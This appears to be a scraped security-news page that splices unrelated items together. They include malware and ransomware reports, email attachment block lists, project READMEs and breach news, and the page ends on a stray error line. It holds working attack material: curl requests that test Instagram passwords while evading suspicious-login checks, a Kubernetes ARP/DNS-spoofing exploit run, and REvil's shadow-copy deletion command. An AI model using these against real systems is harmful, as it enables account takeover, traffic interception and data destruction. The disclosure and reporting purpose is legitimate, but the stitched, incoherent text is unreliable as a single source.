Watch out Windows users!


There’s a new strain of malware making rounds on the Internet that has already infected thousands of computers worldwide and most likely, your antivirus program would not be able to detect it.


Why? That’s because, first, it’s an advanced fileless malware and second, it leverages only legitimate built-in system utilities and third-party tools to extend its functionality and compromise computers, rather than using any malicious piece of code.


The technique of bringing its own legitimate tools is effective and has rarely been spotted in the wild, helping attackers to blend in their malicious activities with regular network activity or system administration tasks while leaving fewer footprints.


Independently discovered by cybersecurity researchers at Microsoft and Cisco Talos, the malware — dubbed “Nodersok” and “Divergent” — is primarily being distributed via malicious online advertisements and infecting users using a drive-by download attack.

First spotted in mid-July this year, the malware has been designed to turn infected Windows computers into proxies, which according to Microsoft, can then be used by attackers as a relay to hide malicious traffic; while Cisco Talos believes the proxies are used for click-fraud to generate revenue for attackers.

Multi-Stage Infection Process Involves Legitimate Tools

The infection begins when malicious ads drop HTML application (HTA) file on users’ computers, which, when clicked, executes a series of JavaScript payloads and PowerShell scripts that eventually download and install the Nodersok malware.

“All of the relevant functionalities reside in scripts and shellcodes that are almost always coming in encrypted, are then decrypted, and run while only in memory. No malicious executable is ever written to the disk,” Microsoft explains.

As illustrated in the diagram, the JavaScript code connects to legitimate Cloud services and project domains to download and run second-stage scripts and additional encrypted components, including:

  • PowerShell Scripts — attempt to disable Windows Defender antivirus and Windows update.
  • Binary Shellcode — attempts to escalate privileges using auto-elevated COM interface.
  • Node.exe — Windows implementation of the popular Node.js framework, which is trusted and has a valid digital signature, executes malicious JavaScript to operate within the context of a trusted process.
  • WinDivert (Windows Packet Divert) — a legitimate, powerful network packet capture and manipulation utility that malware uses to filter and modify certain outgoing packets.

At last, the malware drops the final JavaScript payload written for the Node.js framework that converts the compromised system into a proxy.

“This concludes the infection, at the end of which the network packet filter is active, and the machine is working as a potential proxy zombie,” Microsoft explains.

“When a machine turns into a proxy, it can be used by attackers as a relay to access other network entities (websites, C&C servers, compromised machines, etc.), which can allow them to perform stealthy malicious activities.”

According to the experts at Microsoft, the Node.js-based proxy engine currently has two primary purposes—first, it connects the infected system back to a remote, attacker-controlled command-and-control server, and second, it receives HTTP requests to proxy back to it.

On the other hand, experts at Cisco Talos concludes that the attackers are using this proxy component to command infected systems to navigate to arbitrary web pages for monetization and click fraud purposes.

Nodersok Infected Thousands of Windows Users

According to Microsoft, the Nodersok malware has already infected thousands of machines in the past several weeks, with most targets located in the United States and Europe.

While the malware primarily focuses on targeting Windows home users, researchers have seen roughly 3% of attacks targeting organization from industry sectors, including education, healthcare, finance, retail, and business and professional services.

Since the malware campaign employs advanced fileless techniques and relies on elusive network infrastructure by making use of legit tools, the attack campaign flew under the radar, making it harder for traditional signature-based antivirus programs to detect it.

“If we exclude all the clean and legitimate files leveraged by the attack, all that remains are the initial HTA file, the final Node.js-based payload, and a bunch of encrypted files. Traditional file-based signatures are inadequate to counter sophisticated threats like this,” Microsoft says.

However, the company says that the malware’s “behavior produced a visible footprint that stands out clearly for anyone who knows where to look.”

In July this year, Microsoft also discovered and reported another fileless malware campaign, dubbed Astaroth, that was designed to steal users’ sensitive information, without dropping any executable file on the disk or installing any software on the victim’s machine.


Microsoft said its Windows Defender ATP next-generation protection detects this fileless malware attacks at each infection stage by spotting anomalous and malicious behaviors, such as the execution of scripts and tools.

Malware or computer virus can infect your computer in several different ways, but one of the most common methods of its delivery is through malicious file attachments over emails that execute the malware when you open them.

Therefore, to protect its users from malicious scripts and executable, Microsoft is planning to blacklist 38 additional file extensions by adding them to its list of file extensions that are blocked from being downloaded as attachments in Outlook on the Web.

Previously known as Outlook Web Application or OWA, “Outlook on the Web” is Microsoft’s web-based email client for users to access their emails, calendars, tasks and contacts from Microsoft’s on-premises Exchange Server and cloud-based Exchange Online.

The list of blocked file extensions currently has 104 entries, including .exe, .url, .com, .cmd, .asp, .lnk, .js, .jar, .tmp, .app, .isp, .hlp, .pif, .msi, .msh, and more.

Now, the expanded block list will also include 38 new extensions in an upcoming update, preventing Outlook on the Web users from downloading attachments that have any of these 142 file extensions, until or unless an Outlook or Microsoft Exchange Server administrator has whitelisted any of them on purpose by removing it from the BlockedFileTypes list.

“We’re always evaluating ways to improve security for our customers, and so we took the time to audit the existing blocked file list and update it to better reflect the file types we see as risks today,” Microsoft says in a blog post.

“The newly blocked file types are rarely used, so most organizations will not be affected by the change. However, if your users are sending and receiving affected attachments, they will report that they are no longer able to download them.”

Here’s the new file extensions added to the BlockedFileTypes list:

  • File extensions used by the Python scripting language: “.py”, “.pyc”, “.pyo”, “.pyw”, “.pyz”, “.pyzw”
  • Extensions used by the PowerShell scripting language: “.ps1”, “.ps1xml”, “.ps2”, “.ps2xml”, “.psc1”, “.psc2”, “.psd1”, “.psdm1”, “.psd1”, “.psdm1”
  • Extensions used for digital certificates: “.cer”, “.crt”, “.der”
  • Extensions used by the Java programming language: “.jar”, “.jnlp”
  • Extensions used by various applications: “.appcontent-ms”, “.settingcontent-ms”, “.cnt”, “.hpj”, “.website”, “.webpnp”, “.mcf”, “.printerexport”, “.pl”, “.theme”, “.vbp”, “.xbap”, “.xll”, “.xnk”, “.msu”, “.diagcab”, “.grp”

Microsoft writes that while the associated vulnerabilities with various applications have been patched, “they are being blocked for the benefit of organizations that might still have older versions of the application software in use.”

“Security of our customer’s data is our utmost priority, and we hope our customers will understand and appreciate this change. Change can be disruptive, so we hope the information here explains what we’re doing and why,” the company says.

Just like Microsoft, Google, the largest email provider, also maintains a list of blocked file extensions that the company considers harmful to its Gmail users, preventing them from attaching or downloading certain types of files.

These blacklisted files include .ade, .adp, .apk, .appx, .appxbundle, .bat, .cab, .chm, .cmd, .com, .cpl, .dll, .dmg, .exe, .hta, .ins, .isp, .iso, .jar, .js, .jse, .lib, .lnk, .mde, .msc, .msi, .msix, .msixbundle, .msp, .mst, .nsh, .pif, .ps1, .scr, .sct, .shb, .sys, .vb, .vbe, .vbs, .vxd, .wsc, .wsf, .wsh.

After accessing a family’s smart home system, a hacker raises the temperature and plays “vulgar” music, according to the victims

Samantha and Lamont Westmoreland bought less than a year ago one of the more than 14,000 million gadgets for smart homes that are in use today. This is a Google Nest system that until September of this year had not given problems, until one day Samantha came home and experienced a suffocating temperature. The thermostat was almost 33 degrees; a near heat wave inside the home.

The Lamont couple, thinking it was a mistake, put the system at a normal temperature, but it increased again to unbearable levels. Then, a voice without an image, which in a movie would seem heavenly but that in the house was terrifying, began to speak to them through a camera in the kitchen. He also played “vulgar” music, according to the victims of a cyber attack that seized them with insecurity.

“My heart was racing,” Samantha said in a television interview. “I felt very violated at that time,” he added, and warned other people that, like them, be done with smart home devices that “people need to educate themselves and know that this is real, that this is happening and that it gives a lot of fear, and that you don’t realize until it’s really happening to you. “

Google recommendations for smart home security

The home security, entertainment and convenience system, located in Wisconsin, USA, was violated by a hacker who found the passwords to control the equipment at will. The attack lasted 24 hours, according to the couple, who believes that their wireless internet system was transgressed by the hacker, which allowed him to access his smart home devices and make them have a hard time.

Google argues that the Nest system did not suffer a security breach. “These reports are based on customers who use compromised passwords (exposed for violations on other websites). In almost all cases, the verification of two factors eliminates this type of security risk,” said the technology in statements. The verification of two factors shields the equipment with access from the mobile or mail, for example.

A new spam campaign is underway that is targeting Chinese recipients to trick them into installing the REvil (Sodinokibi) Ransomware.

This spam campaign was discovered by security researcher onion and pretends to be an email from DHL stating that the delivery of a package has been delayed due to an incorrect customs declaration.

It then proceeds to inform the recipient that they must download the enclosed “Customs documents”, fill them out correctly, and send it back in order for the package to be properly delivered.

D HL spam sent to Chinese recipients

If a user downloads the attached 海关文件.zip file and extracts it, they will find a file named “DHL海关申报单.doc.exe“, which is translated to “DHL Customs Declaration Form.doc.exe”.

Extracted REvil executable

This executable is the REvil (Sodinokibi) ransomware and will immediately delete the victim’s Shadow Volume Copies using PowerShell to execute the following WMI command:

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

It will then proceed to encrypt the victim’s files and append a random extension to any encrypted files.

Once done, a ransom note will be found in every encrypted folder that contains instructions on how to access the Sodinokibi Tor payment site where you can pay the ransom.

REvil Ransom Note

Protecting yourself from this threat

Windows has a confounding default setting to hide extensions on files, which attackers know and utilize to their advantage.

In this attack, the ransomware is being distributed as an executable with the name “DHL海关申报单.doc.exe”.

Since Windows hides the extension, most users will just see “DHL海关申报单.doc” with a Word icon and think it’s a Word document rather than an executable.

Extensions hidden

That’s not to say that users should be opening Word document attachments either, but if extensions were being displayed they would see it was an executable and be less likely to open it.

Before I run into any legal troubles, let me start off by saying that I have already disclosed the issue to Instagram through Facebook’s white hat policy about one month ago. It was a major headache to get to report the issue in the first place. I had to break all my moral vows and make my privacy shudder by using a Facebook account. Mind you, all of these roadblocks (yes, using a Facebook account is a major roadblock to a giant chunk of the general population) just so I can voluntarily help them fix a problem on their platform. I had a back and forth with the person responsible for my case (“Spencer”), but in the end, he denied that there was a problem. While I was initially puzzled, because, well, it IS a problem, I thought maybe they didn’t want to pay up the bug bounty. But, that doesn’t make sense, as the issue is still around. Anyway, let’s dive in to the article!

FIRST COURSE OF ACTION

Let’s say that an attacker wants to brute-force a target on Instagram. Where is the most obvious entry point to begin testing? That’s right, the login itself. Here is the cURL command for the most basic login request (all the parts that do not trigger an error with their absence have been removed):

curl -H “x-csrftoken: anything” -d “username=TARGET_USERNAME&password=TARGET_PASSWORD” https://www.instagram.com/accounts/login/ajax/

(That’s right, absolutely nothing to verify that the “authenticity” of the request is actually checked. Not the CSRF token, not the user agent, none of the other countless headers that Instagram adds, not the HTTP referrer, nothing at all. Everything else is presumably only for analytics, not for security. Because, obviously, data matters more than the most primitive checks possible to protect you from a 13-year-old messing with Instagram.)

BUBBLING PROBLEMS

While this works, there are a variety of problems. The minor problem here is that we encounter rate-limiting on a username-per-IP basis. That is to say, there is a separate limit for each username on a given IP address. IP #1 can make X requests for username #1, get rate limited, and continue to make X requests on username #2. Also, IP #1 can make X requests for username #1, get rate limited, and then IP #2 can continue to make X requests on username #1. Phew, that was a mouthful, but hopefully I got the point across.

The bigger issue here, is a mechanism from Instagram (that many other applications employ) called “suspicious login.” If a login is performed under unusual circumstances (typically, from a location/IP address where the target in question usually does not login from), the target will be enrolled in a checkpoint. The checkpoint will have the client who is logging in from those unusual circumstances to verify the ownership of the target. This is usually done by having the client provide and confirm the target’s email/phone number. This adds a thick layer of complexity for any attacker.

(It should be noted that the suspicious login mechanism is only employed on targets which are NOT recently registered. If you view the source code of an Instagram profile, the helpful key “ is_joined_recently” will tell us if the account has been recently registered or not. If the account is new, an attacker is in luck. No location based checkpoint mechanism will be deployed, and (unless 2FA or the like is in place), an attacker can easily break in.)

Now, it is relatively easy to find the location of any given Instagram (or any “talkative”social media user, for that matter) user. Hell, usually it’s right there in the biography of the target. So the solution is simple, right? An attacker can just brute-force using proxies to bypass rate-limits, wait for the suspicious login to indicate a correct password, and then rotate through proxy locations until the correct one works? Wrong. Once the target is enrolled in a suspicious login checkpoint, it is persistent until either it is completed or the (already logged in, on some other device) target manually accepts/declines the login request. That’s a problem. That means an attacker would have to use an entire list of proxies to brute-force which are all located where the attacker usually logs in from. It’s not very reasonable for most cases.

AN ALTERNATIVE SOLUTION

The login form doesn’t seem like a very hopeful attack vector. Let’s keep searching. As it turns out, the registration form has some interesting quirks and features for us to explore. Let’s see the most basic, stripped down cURL request for registering an account on Instagram:

curl -H “x-csrftoken: token” -d “username=TARGET_USERNAME&password=TARGET_PASSWORD” https://www.instagram.com/accounts/web_create_ajax/

Weirdly, when sent with the correct information, it works almost identically to the login form. It sends us a nice little message to tell us we have the correct credentials: “Those credentials belong to an active Instagram account.” Why in the world, you might be asking, should Instagram, or ANY service for that matter, act like a login form via registration? I have no idea. Not only do I have no idea, but apparently neither does anyone else, as I have never experienced this behavior from any other application on the internet. Ever.

This, however, leads us right back to where we started. Rate limiting and checkpoints in the same fashion. Here’s where the exploit comes in.

THE EXPLOIT ITSELF

Any target account which does not have a phone number attached to its account (and no 2FA), can have passwords tested on it without ever triggering the suspicious login mechanism. Take the following cURL request:

curl -H “x-csrftoken: token” -d “username=TARGET_USERNAME&password=TARGET_PASSWORD&phone_number=888–888–8888&seamless_login_enabled=1” https://www.instagram.com/accounts/web_create_ajax/

Notice the new parameters? We include a phone_number (note that the phone number has to be somewhat valid by regEx and area code), and the interesting seamless_login_enabled. With those two combined, on a correct username/email:password combination for a target which does not have a phone number or 2FA, the following is returned: “Oops, an error occurred.”

No suspicious login is sent here. Now, the attacker will have one shot at actually accessing the account by using a proxy from the correct location. But as mentioned earlier, this is relatively easy for most users. I bought a cheap proxy package for around $10 which gave me hundreds of LOW quality proxies from countries halfway across the world from where I usually login. Lo an behold, I managed to find my password from a very large password list using this method. The target account (mine) in question? No hint of anyone finding out my password. None. And with Instagram’s handy feature of adding location to photos, it would take me not even one minute to get access to my account, view all my messages, check my account data, and what have you. Maybe not a big concern when it comes to me hacking myself, but quite a scary thought when it comes to someone else hacking me.

CLOSING THOUGHTS

As far as I have discovered, this is the only technique to actually validate credentials for an Instagram account without triggering a suspicious login attempt. Yes, this is limited to accounts without a phone number or 2FA, but that still leaves a large number of vulnerable targets. An unbelievably large number of vulnerable targets. Even for targets with a phone number already attached, consider their alternative/old accounts. Most people don’t change their password from account to account or even service to service. To see just how many people don’t have a phone number attached, Instagram conveniently lets an attacker check before he/she even starts:

curl -H “x-csrftoken: token” -d “query=TARGET_USERNAME” https://www.instagram.com/accounts/account_recovery_ajax/

This is triggered from the mobile browser after a few incorrect login attempts for a given target. There are other private API from Instagram that allow an attacker to query such data. How fun. In short, if you don’t have a phone number or 2FA on your Instagram account, you are vulnerable. An attacker can purchase a few hundred proxies for around $10 and run your account against a password list of a million+ possible passwords. You will never know if your password has been found. And I hope you’re not using your password on other services either. I have already gave up on any chance of receiving a bug bounty, but perhaps this article will somehow lead someone with a few functional brain cells at Instagram to acknowledge the problem.

(Rant: I would generally never advocate for someone to lose their job, but incompetence must be called out for what it is. Spencer, the main person who handled my case, should be immediately released from the company, or at least demoted to “guy that gets people coffee.” Look at how basic the above demonstrated vulnerability is. Is it really something that should take one MONTH and counting to realize as a problem? After a detailed description, exact reproduction code, and video? Can you imagine how many other issues went unaddressed under Spencer because whitehat researchers (understandably) did not have the patience to continuously repeat the same problem over and over and over and over? It’s a scary thought.)

Kube-dnsspoof is a POC for DNS spoofing in kubernetes clusters. This exploit runs with minimum capabilities, on default installations of kuberentes. This repository contains all files and related code for running this exploit.

The following video demonstrates how onw can use this to intercept traffic for specifc domains in a cluster:

Prerequisites

A Kubernetes cluster

Run the exploit

First, create the pods by:

$ kubectl create -f pods/
pod/hacker created     
pod/victim created   

After the pod was created, exec into the hacker pod. it will contain the exploit and hosts file inside the /dnsspoof folder.

$ kubectl exec -it hacker zsh
➜  hacker /dnsspoof ls
exploit.py  hosts
➜  hacker /dnsspoof 

Next, edit the hosts file to contain your spoofed domains. The script will proxy all DNS requests to the real kube-dns pod, except for the entries in the hosts file.

Example for successful run of the exploit:

➜  hacker /dnsspoof ./exploit.py
[*] starting attack on indirect mode
Bridge:  172.17.0.1 c0:0f:fe:eb:4b:e0
Kube-dns:  172.17.0.4 02:42:bb:76:74:f8

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

timeouts

When proxying alot of requests, the code can hang. to control this, you can pass a timeout via --forward-timeout

The steps of the exploit:

  • Deciding whether it can run
  • Discovering relevant mac/ip addresses
  • ARP spoofing the bridge (and kube-dns in case of direct attack mode)
  • DNS proxy requests, and spoofing relevant entries
  • Restoring all network on CTRL+C interrupt

https://github.com/danielsagi/kube-dnsspoof

ARK Survival Evolved application that monitors and extracts data from local ARK servers and exposes this data through a Web App, Web API and Discord Bot. Provides important functions to players: dino listings, food-status, breeding info, statistics; and server admins: rcon-commands, server managing etc.

INSTALLATION INSTRUCTIONS

First time? Check out Installation

Suggestions/improvments/bugs

Have a look at our Roadmap

If you think something is wrong with the project – help improve it. If you find a bug – help fix it. Don’t know how to program? Start learning. This is the way of open source!

Introduction

An in-game companion app for players and Discord bot for server administrators.

The application monitors and extracts data from any number of configured local ARK servers and exposes this data through a Web App, Web API and Discord Bot.

It aims to provide important functions to players: dino listings, food-status, breeding info, statistics; and server admins: rcon-commands, server managing etc. It does not enable cheating or making available data that have a considerable impact on how the game is played.

Latest release

Stable

https://github.com/tsebring/ArkBot/releases

Pre-release built from latest sources

Open as zip-archive or change extension to .zip, binaries are located under tools/.

https://www.myget.org/F/arkbot-beta/api/v2/package/ArkBot

Installation

  • Download the latest pre-built binaries (see above).
  • Perform configuration within the ArkBot program after opening by clicking on the configuration tab, completing all required fields.

To enable map clean-up from the companion app (web app) for administrators, install ARK-Server-API and ARK-Server-API: ArkBotHelper Plugin by WETBATMAN.

Documentation from Wiki

What does it do?

How to setup?

How to use?

Acknowledgements

Powered by ARK Savegame Toolkit .NET based on Qowyns work on ark-tools.

Creature stat data is sourced from Cadons ARK Smart Breeding.

Links

ARK Savegame Toolkit .NET

Library for reading ARK Survival Evolved savegame files in .NET

https://github.com/tsebring/ArkSavegameToolkitNet

ARK-Server-API

Allows server-side ARK plugins.

https://arkserverapi.com/resources/ark-server-api.4/

ARK Server API: ArkBotHelper (Plugin by WETBATMAN)

Used to facilitate map clean-up from the companion app (web app) for administrators.

https://arkserverapi.com/resources/ark-bot-helper.142/

ARK Beyond API: Imprinting Mod (Plugin)

Used for advance imprinting/cuddle support.

https://github.com/tsebring/ImprintingMod

ARK Beyond API: Modified Spawn Level Distribution (Plugin)

Used to change spawn level distribution on The Island and Scorched Earth (can be used on others as well) to match the official spawn level distribution on Ragnarok and The Center.

https://github.com/tsebring/ArkModifiedSpawnLevelDistribution

https://github.com/ark-mod/ArkBot

What’s here?

What you can find here is scrapers for all major Israeli banks and credit card companies. That’s the plan at least. Currently only the following banks are supported:

Prerequisites

To use this you will need to have Node.js >= 8 installed.

Getting started

To use these scrapers you’ll need to install the package from npm:

npm install israeli-bank-scrapers --save

Then you can simply import and use it in your node module:

const { createScraper } = require('israeli-bank-scrapers');

const credentials = {...}; // different for each bank
const options = {...};

(async function() {
   try {
      const scraper = createScraper(options);
      const scrapeResult = await scraper.scrape(credentials);
   
      if (scrapeResult.success) {
        scrapeResult.accounts.forEach((account) => {
           console.log(`found ${account.txns.length} transactions for account number 
            ${account.accountNumber}`);
        });
      }
      else {
         throw new Error(scrapeResult.errorType);
      }
   } catch(e) {
      console.error(`scraping failed for the following reason: ${e.message}`);
   }
})();

The definition of the options object is as follows:

{
  companyId: string, // mandatory; one of 'hapoalim', 'leumi', 'discount', 'otsarHahayal', 'visaCal', 'leumiCard', 'isracard', 'amex'
  startDate: Date, // the date to fetch transactions from (can't be before the minimum allowed time difference for the scraper)
  combineInstallments: boolean, // if set to true, all installment transactions will be combine into the first one
  showBrowser: boolean, // shows the browser while scraping, good for debugging (default false)
  verbose: boolean, // include more debug info about in the output
  browser : Browser, // optional option from init puppeteer browser instance outside the libary scope. you can get browser diretly from puppeteer via `puppeteer.launch()` command.
  executablePath: string // optional. provide a patch to local chromium to be used by puppeteer. Relevant when using `israeli-bank-scrapers-core` library 
}

The structure of the result object is as follows:

{
  success: boolean,
  accounts: [{
    accountNumber: string,
    txns: [{
      type: string, // can be either 'normal' or 'installments'
      identifier: int, // only if exists
      date: string, // ISO date string
      processedDate: string, // ISO date string
      originalAmount: double,
      originalCurrency: string,
      chargedAmount: double,
      description: string,
      memo: string, // can be null or empty
      installments: {
        number: int, // the current installment number
        total: int, // the total number of installments
      },
      status: string //can either be 'completed' or 'pending'
    }],
  }],
  errorType: "invalidPassword"|"changePassword"|"timeout"|"generic", // only on success=false
  errorMessage: string, // only on success=false
}

You can also use the SCRAPERS list to get scraper metadata:

const { SCRAPERS } = require('israeli-bank-scrapers');

The return value is a list of scraper metadata:

{
  <companyId>: {
    name: string, // the name of the scraper
    loginFields: [ // a list of login field required by this scraper
      '<some field>' // the name of the field
    ]
  }
}

Israeli-bank-scrapers-core library

TL;DR this is the same library as the default library. The only difference is that it is using puppeteer-core instead of puppeteer which is useful if you are using frameworks like Electron to pack your application.

In most cases you will probably want to use the default library (read Getting Started section).

Israeli bank scrapers library is published twice:

  1. israeli-bank-scrapers – the default variation, great for common usage as node dependency in server application or cli.
  2. israeli-bank-scrapers-core – extremely useful for applications that bundle node_modules like Electron applications.

Differences between default and core variations

The default variation israeli-bank-scrapers is using puppeteer which handles the installation of local chroumium on its’ own. This behavior is very handy since it takes care on all the hard work figuring which chromium to download and manage the actual download process. As a side effect it increases node_modules by several hounded megabytes.

The core variation israeli-bank-scrapers-core is using puppeteer-core which is exactly the same library as puppeteer except that it doesn’t download chromium when installed by npm. It is up to you to make sure the specific version of chromium is installed locally and provide a path to that version. It is useful in Electron applications since it doesn’t bloat the size of the application and you can provide a much friendlier experience like loading the application and download it later when needed.

To install israeli-bank-scrapers-core:

npm install israeli-bank-scrapers-core --save

Getting chromium version used by puppeteer-core

When using the israeli-bank-scrapers-core it is up to you to make sure the relevant chromium version exists. You must:

  1. query for the specific chromium revision required by the puppeteer-core library being used.
  2. make sure that you have local version of that revision.
  3. provide an absolute path to israeli-bank-scrapers-core scrapers.

Please read the following to learn more about the process:

  1. To get the required chromium revision use the following code:
import { getPuppeteerConfig } from 'israeli-bank-scrapers-core';

const chromiumVersion = getPuppeteerConfig().chromiumRevision;
  1. Once you have the chromium revision, you can either download it manually or use other liraries like download-chromium to fetch that version. The mentioned library is very handy as it caches the download and provide useful helpers like download progress information.
  2. provide the path to chromium to the library using the option key executablePath.

Specific definitions per scraper

Bank Hapoalim scraper

This scraper expects the following credentials object:

const credentials = {
  userCode: <user identification code>,
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Bank Leumi scraper

This scraper expects the following credentials object:

const credentials = {
  username: <user name>,
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Discount scraper

This scraper expects the following credentials object:

const credentials = {
  id: <user identification number>,
  password: <user password>,
  num: <user identificaiton code>
};

This scraper supports fetching transaction from up to one year (minus 1 day).

Known Limitations

  • Missing memo field

Bank Otsar Hahayal scraper

This scraper expects the following credentials object:

const credentials = {
  username: <user name>,
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Visa Cal scraper

This scraper expects the following credentials object:

const credentials = {
  username: <user name>,
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Leumi-Card scraper

This scraper expects the following credentials object:

const credentials = {
  username: <user name>,
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Isracard scraper

This scraper expects the following credentials object:

const credentials = {
  id: <user identification number>,
  card6Digits: <6 last digits of card>
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Amex scraper

This scraper expects the following credentials object:

const credentials = {
  id: <user identification number>,
  card6Digits: <6 last digits of card>
  password: <user password>
};

This scraper supports fetching transaction from up to one year.

Known projects

These are the projects known to be using this module:

Built something interesting you want to share here? Let me know.

https://github.com/eshaham/israeli-bank-scrapers

For a brief period on Wednesday morning, Vodafone customers in New Zealand using the mobile carrier’s app could see details for other customers.

The app is designed for managing the Vodafone account and offers quick access to bills, or active services. It also provides information about call rates in other countries, reward points, promotions, and data plans.

Moreover, MyVodafone app can be used to suspend your phone number if you lose the phone or it gets stolen. The information it makes available is important enough to cause concern if leaked to a wrong party.

Brief exposure period

The company confirmed the privacy breach saying that it was caused by an error during a planned upgrade of the app. As a result, users logged into someone else’s account.

It appears that the problem did not last for long as the company rolled back the upgrade just 15 minutes later. Despite the quick action, multiple customers noticed something was wrong.

Logging into the app during this brief period showed account information belonging to someone else. Signing out and back in had the same result.

The company said that the planned upgrade at 7 AM caused an “unexpected caching issue.” The problem was corrected but the privacy of some customers was impacted.

Full card details were not visible in the app, as the company has implemented the data security standard of the payment card industry (PCI).

It is unclear how many users had their personal information exposed this way, but some of them are concerned about how this will be handled and how they can know if their details were revealed to others.

On Twitter, the company replied saying that customer privacy is a top priority and that they were “urgently assessing the no of people impacted and the details of that impact, as well as determining steps needed to be taken to notify those customers.”

A Vodafone spokesperson tells New Zealand Herald that it has informed the Privacy Commissioner of the incident and that it is in the process of contacting the affected users.

Following the release of iOS 13 and iPadOS earlier this week, Apple has issued an advisory warning iPhone and iPad users of an unpatched security bug impacting third-party keyboard apps.

On iOS, third-party keyboard extensions can run entirely standalone without access to external services and thus, are forbidden from storing what you type unless you grant “full access” permissions to enable some additional features through network access.

However, in the brief security advisory, Apple says that an unpatched issue in iOS 13 and iPadOS could allow third-party keyboard apps to grant themselves “full access” permission to access what you are typing—even if you deny this permission request in the first place.

It should be noted that the iOS 13 bug doesn’t affect Apple’s built-in keyboards or third-party keyboards that don’t make use of full access.

Instead, the bug only impacts users who have third-party keyboard apps—such as popular Gboard, Grammarly, and Swiftkey—installed on their iPhones or iPads, which are designed to request full access from users.

Though having full access allows app developers to capture all keystroke data and everything you type, it’s worth noting that likely no reputable third-party keyboard apps would by default abuse this issue.

Even if that doesn’t satisfy you, and you want to check if any of the installed third-party keyboards on your iPhone or iPad has enabled full access without your knowledge by exploiting this bug, you can open the Settings → General → Keyboard → Keyboards.

Apple assured its users that the company is already working on a fix to address this issue, which it plans to release in its upcoming software update.

Until Apple comes up with a fix, you can mitigate this issue by temporarily uninstalling all third-party keyboards from your device just to be on the safer side.

Bad Authentication data.